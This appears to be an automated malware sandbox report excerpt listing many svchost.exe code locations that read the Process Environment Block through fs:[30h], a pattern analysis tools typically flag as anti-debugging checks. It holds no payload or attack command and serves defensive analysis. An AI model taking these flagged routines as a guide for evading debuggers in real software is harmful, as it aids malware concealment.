Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03538770 mov eax, dword ptr fs:[00000030h]	1_2_03538770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03540770 mov eax, dword ptr fs:[00000030h]	1_2_03540770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03540770 mov eax, dword ptr fs:[00000030h]	1_2_03540770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03540770 mov eax, dword ptr fs:[00000030h]	1_2_03540770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03540770 mov eax, dword ptr fs:[00000030h]	1_2_03540770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03540770 mov eax, dword ptr fs:[00000030h]	1_2_03540770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03540770 mov eax, dword ptr fs:[00000030h]	1_2_03540770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03540770 mov eax, dword ptr fs:[00000030h]	1_2_03540770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03540770 mov eax, dword ptr fs:[00000030h]	1_2_03540770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03540770 mov eax, dword ptr fs:[00000030h]	1_2_03540770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03540770 mov eax, dword ptr fs:[00000030h]	1_2_03540770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03540770 mov eax, dword ptr fs:[00000030h]	1_2_03540770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03540770 mov eax, dword ptr fs:[00000030h]	1_2_03540770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03530710 mov eax, dword ptr fs:[00000030h]	1_2_03530710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03560710 mov eax, dword ptr fs:[00000030h]	1_2_03560710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0356C700 mov eax, dword ptr fs:[00000030h]	1_2_0356C700
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0356273C mov eax, dword ptr fs:[00000030h]	1_2_0356273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0356273C mov ecx, dword ptr fs:[00000030h]	1_2_0356273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0356273C mov eax, dword ptr fs:[00000030h]	1_2_0356273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035AC730 mov eax, dword ptr fs:[00000030h]	1_2_035AC730
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0356C720 mov eax, dword ptr fs:[00000030h]	1_2_0356C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0356C720 mov eax, dword ptr fs:[00000030h]	1_2_0356C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0353C7C0 mov eax, dword ptr fs:[00000030h]	1_2_0353C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035B07C3 mov eax, dword ptr fs:[00000030h]	1_2_035B07C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035347FB mov eax, dword ptr fs:[00000030h]	1_2_035347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035347FB mov eax, dword ptr fs:[00000030h]	1_2_035347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035527ED mov eax, dword ptr fs:[00000030h]	1_2_035527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035527ED mov eax, dword ptr fs:[00000030h]	1_2_035527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035527ED mov eax, dword ptr fs:[00000030h]	1_2_035527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035BE7E1 mov eax, dword ptr fs:[00000030h]	1_2_035BE7E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035D678E mov eax, dword ptr fs:[00000030h]	1_2_035D678E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035307AF mov eax, dword ptr fs:[00000030h]	1_2_035307AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035E47A0 mov eax, dword ptr fs:[00000030h]	1_2_035E47A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0354C640 mov eax, dword ptr fs:[00000030h]	1_2_0354C640
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03562674 mov eax, dword ptr fs:[00000030h]	1_2_03562674
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035F866E mov eax, dword ptr fs:[00000030h]	1_2_035F866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035F866E mov eax, dword ptr fs:[00000030h]	1_2_035F866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0356A660 mov eax, dword ptr fs:[00000030h]	1_2_0356A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0356A660 mov eax, dword ptr fs:[00000030h]	1_2_0356A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03572619 mov eax, dword ptr fs:[00000030h]	1_2_03572619
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035AE609 mov eax, dword ptr fs:[00000030h]	1_2_035AE609
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0354260B mov eax, dword ptr fs:[00000030h]	1_2_0354260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0354260B mov eax, dword ptr fs:[00000030h]	1_2_0354260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0354260B mov eax, dword ptr fs:[00000030h]	1_2_0354260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0354260B mov eax, dword ptr fs:[00000030h]	1_2_0354260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0354260B mov eax, dword ptr fs:[00000030h]	1_2_0354260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0354260B mov eax, dword ptr fs:[00000030h]	1_2_0354260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0354260B mov eax, dword ptr fs:[00000030h]	1_2_0354260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0354E627 mov eax, dword ptr fs:[00000030h]	1_2_0354E627
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03566620 mov eax, dword ptr fs:[00000030h]	1_2_03566620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03568620 mov eax, dword ptr fs:[00000030h]	1_2_03568620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0353262C mov eax, dword ptr fs:[00000030h]	1_2_0353262C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0356A6C7 mov ebx, dword ptr fs:[00000030h]	1_2_0356A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0356A6C7 mov eax, dword ptr fs:[00000030h]	1_2_0356A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035AE6F2 mov eax, dword ptr fs:[00000030h]	1_2_035AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035AE6F2 mov eax, dword ptr fs:[00000030h]	1_2_035AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035AE6F2 mov eax, dword ptr fs:[00000030h]	1_2_035AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035AE6F2 mov eax, dword ptr fs:[00000030h]	1_2_035AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035B06F1 mov eax, dword ptr fs:[00000030h]	1_2_035B06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035B06F1 mov eax, dword ptr fs:[00000030h]	1_2_035B06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03534690 mov eax, dword ptr fs:[00000030h]	1_2_03534690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03534690 mov eax, dword ptr fs:[00000030h]	1_2_03534690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035666B0 mov eax, dword ptr fs:[00000030h]	1_2_035666B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0356C6A6 mov eax, dword ptr fs:[00000030h]	1_2_0356C6A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03538550 mov eax, dword ptr fs:[00000030h]	1_2_03538550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03538550 mov eax, dword ptr fs:[00000030h]	1_2_03538550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0356656A mov eax, dword ptr fs:[00000030h]	1_2_0356656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0356656A mov eax, dword ptr fs:[00000030h]	1_2_0356656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0356656A mov eax, dword ptr fs:[00000030h]	1_2_0356656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035C6500 mov eax, dword ptr fs:[00000030h]	1_2_035C6500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03604500 mov eax, dword ptr fs:[00000030h]	1_2_03604500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03604500 mov eax, dword ptr fs:[00000030h]	1_2_03604500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03604500 mov eax, dword ptr fs:[00000030h]	1_2_03604500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03604500 mov eax, dword ptr fs:[00000030h]	1_2_03604500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03604500 mov eax, dword ptr fs:[00000030h]	1_2_03604500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03604500 mov eax, dword ptr fs:[00000030h]	1_2_03604500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03604500 mov eax, dword ptr fs:[00000030h]	1_2_03604500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03540535 mov eax, dword ptr fs:[00000030h]	1_2_03540535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03540535 mov eax, dword ptr fs:[00000030h]	1_2_03540535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03540535 mov eax, dword ptr fs:[00000030h]	1_2_03540535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03540535 mov eax, dword ptr fs:[00000030h]	1_2_03540535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03540535 mov eax, dword ptr fs:[00000030h]	1_2_03540535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03540535 mov eax, dword ptr fs:[00000030h]	1_2_03540535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0355E53E mov eax, dword ptr fs:[00000030h]	1_2_0355E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0355E53E mov eax, dword ptr fs:[00000030h]	1_2_0355E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0355E53E mov eax, dword ptr fs:[00000030h]	1_2_0355E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0355E53E mov eax, dword ptr fs:[00000030h]	1_2_0355E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0355E53E mov eax, dword ptr fs:[00000030h]	1_2_0355E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035365D0 mov eax, dword ptr fs:[00000030h]	1_2_035365D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0356A5D0 mov eax, dword ptr fs:[00000030h]	1_2_0356A5D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0356A5D0 mov eax, dword ptr fs:[00000030h]	1_2_0356A5D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0356E5CF mov eax, dword ptr fs:[00000030h]	1_2_0356E5CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0356E5CF mov eax, dword ptr fs:[00000030h]	1_2_0356E5CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0355E5E7 mov eax, dword ptr fs:[00000030h]	1_2_0355E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0355E5E7 mov eax, dword ptr fs:[00000030h]	1_2_0355E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0355E5E7 mov eax, dword ptr fs:[00000030h]	1_2_0355E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0355E5E7 mov eax, dword ptr fs:[00000030h]	1_2_0355E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0355E5E7 mov eax, dword ptr fs:[00000030h]	1_2_0355E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0355E5E7 mov eax, dword ptr fs:[00000030h]	1_2_0355E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0355E5E7 mov eax, dword ptr fs:[00000030h]	1_2_0355E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0355E5E7 mov eax, dword ptr fs:[00000030h]	1_2_0355E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035325E0 mov eax, dword ptr fs:[00000030h]	1_2_035325E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0356C5ED mov eax, dword ptr fs:[00000030h]	1_2_0356C5ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0356C5ED mov eax, dword ptr fs:[00000030h]	1_2_0356C5ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0356E59C mov eax, dword ptr fs:[00000030h]	1_2_0356E59C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03532582 mov eax, dword ptr fs:[00000030h]	1_2_03532582
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03532582 mov ecx, dword ptr fs:[00000030h]	1_2_03532582
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03564588 mov eax, dword ptr fs:[00000030h]	1_2_03564588
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035545B1 mov eax, dword ptr fs:[00000030h]	1_2_035545B1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035545B1 mov eax, dword ptr fs:[00000030h]	1_2_035545B1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035B05A7 mov eax, dword ptr fs:[00000030h]	1_2_035B05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035B05A7 mov eax, dword ptr fs:[00000030h]	1_2_035B05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035B05A7 mov eax, dword ptr fs:[00000030h]	1_2_035B05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035EA456 mov eax, dword ptr fs:[00000030h]	1_2_035EA456
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0352645D mov eax, dword ptr fs:[00000030h]	1_2_0352645D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0355245A mov eax, dword ptr fs:[00000030h]	1_2_0355245A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0356E443 mov eax, dword ptr fs:[00000030h]	1_2_0356E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0356E443 mov eax, dword ptr fs:[00000030h]	1_2_0356E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0356E443 mov eax, dword ptr fs:[00000030h]	1_2_0356E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0356E443 mov eax, dword ptr fs:[00000030h]	1_2_0356E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0356E443 mov eax, dword ptr fs:[00000030h]	1_2_0356E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0356E443 mov eax, dword ptr fs:[00000030h]	1_2_0356E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0356E443 mov eax, dword ptr fs:[00000030h]	1_2_0356E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0356E443 mov eax, dword ptr fs:[00000030h]	1_2_0356E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0355A470 mov eax, dword ptr fs:[00000030h]	1_2_0355A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0355A470 mov eax, dword ptr fs:[00000030h]	1_2_0355A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0355A470 mov eax, dword ptr fs:[00000030h]	1_2_0355A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035BC460 mov ecx, dword ptr fs:[00000030h]	1_2_035BC460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03568402 mov eax, dword ptr fs:[00000030h]	1_2_03568402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03568402 mov eax, dword ptr fs:[00000030h]	1_2_03568402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03568402 mov eax, dword ptr fs:[00000030h]	1_2_03568402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0352E420 mov eax, dword ptr fs:[00000030h]	1_2_0352E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0352E420 mov eax, dword ptr fs:[00000030h]	1_2_0352E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0352E420 mov eax, dword ptr fs:[00000030h]	1_2_0352E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0352C427 mov eax, dword ptr fs:[00000030h]	1_2_0352C427
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035B6420 mov eax, dword ptr fs:[00000030h]	1_2_035B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035B6420 mov eax, dword ptr fs:[00000030h]	1_2_035B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035B6420 mov eax, dword ptr fs:[00000030h]	1_2_035B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035B6420 mov eax, dword ptr fs:[00000030h]	1_2_035B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035B6420 mov eax, dword ptr fs:[00000030h]	1_2_035B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035B6420 mov eax, dword ptr fs:[00000030h]	1_2_035B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035B6420 mov eax, dword ptr fs:[00000030h]	1_2_035B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035304E5 mov ecx, dword ptr fs:[00000030h]	1_2_035304E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035EA49A mov eax, dword ptr fs:[00000030h]	1_2_035EA49A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035644B0 mov ecx, dword ptr fs:[00000030h]	1_2_035644B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035BA4B0 mov eax, dword ptr fs:[00000030h]	1_2_035BA4B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035364AB mov eax, dword ptr fs:[00000030h]	1_2_035364AB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035DEB50 mov eax, dword ptr fs:[00000030h]	1_2_035DEB50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035E4B4B mov eax, dword ptr fs:[00000030h]	1_2_035E4B4B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035E4B4B mov eax, dword ptr fs:[00000030h]	1_2_035E4B4B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035C6B40 mov eax, dword ptr fs:[00000030h]	1_2_035C6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035C6B40 mov eax, dword ptr fs:[00000030h]	1_2_035C6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035FAB40 mov eax, dword ptr fs:[00000030h]	1_2_035FAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035D8B42 mov eax, dword ptr fs:[00000030h]	1_2_035D8B42
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0352CB7E mov eax, dword ptr fs:[00000030h]	1_2_0352CB7E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03602B57 mov eax, dword ptr fs:[00000030h]	1_2_03602B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03602B57 mov eax, dword ptr fs:[00000030h]	1_2_03602B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03602B57 mov eax, dword ptr fs:[00000030h]	1_2_03602B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03602B57 mov eax, dword ptr fs:[00000030h]	1_2_03602B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035AEB1D mov eax, dword ptr fs:[00000030h]	1_2_035AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035AEB1D mov eax, dword ptr fs:[00000030h]	1_2_035AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035AEB1D mov eax, dword ptr fs:[00000030h]	1_2_035AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035AEB1D mov eax, dword ptr fs:[00000030h]	1_2_035AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035AEB1D mov eax, dword ptr fs:[00000030h]	1_2_035AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035AEB1D mov eax, dword ptr fs:[00000030h]	1_2_035AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035AEB1D mov eax, dword ptr fs:[00000030h]	1_2_035AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035AEB1D mov eax, dword ptr fs:[00000030h]	1_2_035AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035AEB1D mov eax, dword ptr fs:[00000030h]	1_2_035AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0355EB20 mov eax, dword ptr fs:[00000030h]	1_2_0355EB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0355EB20 mov eax, dword ptr fs:[00000030h]	1_2_0355EB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035F8B28 mov eax, dword ptr fs:[00000030h]	1_2_035F8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035F8B28 mov eax, dword ptr fs:[00000030h]	1_2_035F8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035DEBD0 mov eax, dword ptr fs:[00000030h]	1_2_035DEBD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03550BCB mov eax, dword ptr fs:[00000030h]	1_2_03550BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03550BCB mov eax, dword ptr fs:[00000030h]	1_2_03550BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03550BCB mov eax, dword ptr fs:[00000030h]	1_2_03550BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03530BCD mov eax, dword ptr fs:[00000030h]	1_2_03530BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03530BCD mov eax, dword ptr fs:[00000030h]	1_2_03530BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03530BCD mov eax, dword ptr fs:[00000030h]	1_2_03530BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03538BF0 mov eax, dword ptr fs:[00000030h]	1_2_03538BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03538BF0 mov eax, dword ptr fs:[00000030h]	1_2_03538BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03538BF0 mov eax, dword ptr fs:[00000030h]	1_2_03538BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0355EBFC mov eax, dword ptr fs:[00000030h]	1_2_0355EBFC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035BCBF0 mov eax, dword ptr fs:[00000030h]	1_2_035BCBF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03540BBE mov eax, dword ptr fs:[00000030h]	1_2_03540BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03540BBE mov eax, dword ptr fs:[00000030h]	1_2_03540BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035E4BB0 mov eax, dword ptr fs:[00000030h]	1_2_035E4BB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035E4BB0 mov eax, dword ptr fs:[00000030h]	1_2_035E4BB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03536A50 mov eax, dword ptr fs:[00000030h]	1_2_03536A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03536A50 mov eax, dword ptr fs:[00000030h]	1_2_03536A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03536A50 mov eax, dword ptr fs:[00000030h]	1_2_03536A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03536A50 mov eax, dword ptr fs:[00000030h]	1_2_03536A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03536A50 mov eax, dword ptr fs:[00000030h]	1_2_03536A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03536A50 mov eax, dword ptr fs:[00000030h]	1_2_03536A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03536A50 mov eax, dword ptr fs:[00000030h]	1_2_03536A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03540A5B mov eax, dword ptr fs:[00000030h]	1_2_03540A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03540A5B mov eax, dword ptr fs:[00000030h]	1_2_03540A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035ACA72 mov eax, dword ptr fs:[00000030h]	1_2_035ACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035ACA72 mov eax, dword ptr fs:[00000030h]	1_2_035ACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0356CA6F mov eax, dword ptr fs:[00000030h]	1_2_0356CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0356CA6F mov eax, dword ptr fs:[00000030h]	1_2_0356CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0356CA6F mov eax, dword ptr fs:[00000030h]	1_2_0356CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035DEA60 mov eax, dword ptr fs:[00000030h]	1_2_035DEA60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035BCA11 mov eax, dword ptr fs:[00000030h]	1_2_035BCA11
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03554A35 mov eax, dword ptr fs:[00000030h]	1_2_03554A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03554A35 mov eax, dword ptr fs:[00000030h]	1_2_03554A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0356CA24 mov eax, dword ptr fs:[00000030h]	1_2_0356CA24
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0355EA2E mov eax, dword ptr fs:[00000030h]	1_2_0355EA2E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03530AD0 mov eax, dword ptr fs:[00000030h]	1_2_03530AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03564AD0 mov eax, dword ptr fs:[00000030h]	1_2_03564AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03564AD0 mov eax, dword ptr fs:[00000030h]	1_2_03564AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03586ACC mov eax, dword ptr fs:[00000030h]	1_2_03586ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03586ACC mov eax, dword ptr fs:[00000030h]	1_2_03586ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03586ACC mov eax, dword ptr fs:[00000030h]	1_2_03586ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0356AAEE mov eax, dword ptr fs:[00000030h]	1_2_0356AAEE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0356AAEE mov eax, dword ptr fs:[00000030h]	1_2_0356AAEE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03568A90 mov edx, dword ptr fs:[00000030h]	1_2_03568A90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0353EA80 mov eax, dword ptr fs:[00000030h]	1_2_0353EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0353EA80 mov eax, dword ptr fs:[00000030h]	1_2_0353EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0353EA80 mov eax, dword ptr fs:[00000030h]	1_2_0353EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0353EA80 mov eax, dword ptr fs:[00000030h]	1_2_0353EA80
